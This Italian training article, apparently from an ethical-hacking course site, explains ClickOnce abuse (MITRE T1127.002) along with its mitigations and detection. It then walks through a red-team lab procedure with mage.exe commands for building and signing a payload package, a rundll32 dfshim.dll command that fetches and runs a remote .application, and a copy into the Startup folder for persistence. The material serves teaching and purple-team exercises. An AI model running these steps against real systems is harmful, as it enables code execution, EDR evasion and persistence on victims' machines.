Abuso ClickOnce: ClickOnce (T1127.002)

ClickOnce è una tecnologia di deployment Microsoft che permette la distribuzione di applicazioni .NET auto-aggiornanti tramite file .application e .appref-ms, installabili da share di rete o pagine web con interazione utente minima. La tecnica T1127.002 rientra nella tattica TA0005 (Defense Evasion) perché l'attaccante sfrutta un binario Microsoft firmato — dfsvc.exe, il ClickOnce Deployment Service — come processo genitore per l'esecuzione di codice arbitrario, aggirando controlli basati sulla reputazione dei processi.

Il meccanismo abusivo è duplice. Da un lato, l'utente viene indotto a cliccare un link malevolo che scarica un pacchetto ClickOnce mascherato da software legittimo; poiché l'installazione non richiede privilegi amministrativi, la barriera d'ingresso è bassissima. Dall'altro, la stessa DLL responsabile della gestione ClickOnce può essere invocata direttamente via rundll32.exe dfshim.dll,ShOpenVerbApplication1, offrendo un proxy execution primitive utilizzabile anche in scenari post-exploitation.

L'impatto operativo è rilevante: la catena si innesta su fasi di Initial Access (drive-by o phishing con link) e Persistence (copia dell'artefatto ClickOnce nella Startup Folder della vittima), sfruttando fiducia impostata di default su Windows. Le mitigazioni MITRE censite sono 3 (M1021, M1042, M1045), tutte incentrate sulla disabilitazione del prompt ClickOnce da zone Internet o sull'enforcement di code signing rigoroso. La detection strategica DET0191 si concentra sulla catena comportamentale dfsvc.exe → child anomali e sull'invocazione sospetta di dfshim.dll.

Il red team che vuole simulare T1127.002 in laboratorio parte dalla costruzione di un pacchetto ClickOnce firmato con certificato self-signed o code-signing legittimo di test. Lo strumento nativo è mage.exe (Manifest Generation and Editing Tool), distribuito con il Windows SDK (gratuito con licenza Visual Studio Community), che consente di produrre i manifesti .application e .manifest necessari.

La procedura tipica prevede la compilazione di un assembly .NET payload (una console app o WPF che esegue shellcode via Process.Start o Assembly.Load), la generazione del manifesto applicativo con mage -New Application -ToFile app.manifest -Name PayloadApp -Version 1.0.0.0 -FromDirectory .\bin e successivamente del manifesto di deployment con mage -New Deployment -ToFile app.application -Name PayloadApp -Version 1.0.0.0 -AppManifest app.manifest -Install true. La firma avviene con mage -Sign app.application -CertFile test.pfx -Password .

Il pacchetto viene poi ospitato su un web server HTTP semplice (Python http.server o IIS locale). L'operatore invia alla vittima un link al file .application: Internet Explorer/Edge legacy o un click esplicito su .NET Framework attiva dfsvc.exe che scarica e lancia il payload sotto il contesto utente, senza UAC. In ambiente lab-safe, verificate che il target abbia .NET Framework 3.5+ e che il TrustManager PromptingLevel per zona Internet sia impostato su Enabled (default storico).

Per la variante rundll32, la catena si riduce a un comando eseguibile in memoria: rundll32.exe dfshim.dll,ShOpenVerbApplication1 http:///payload.application. Questa forma è particolarmente utile in scenari di lateral movement dove si dispone già di command execution ma si vuole spawnare un processo figlio sotto dfsvc.exe per bypassare parent-child rule di alcuni EDR.

Come persistence, Covenant e Sliver (entrambi open source) supportano moduli custom per lo scenario ClickOnce; in alternativa il framework PoshC2 (open source) accetta payload .NET compatibili. Per il drop nella Startup Folder, un semplice copy payload.appref-ms "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" concatena T1127.002 con T1547.001.

Durante l'esercizio documentate ogni artefatto generato — hash del .application, certificato usato, URL host — per facilitare il purple teaming successivo. Evitate di firmare payload con certificati commerciali acquistati per attività non autorizzate: costituisce reato in molte giurisdizioni.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.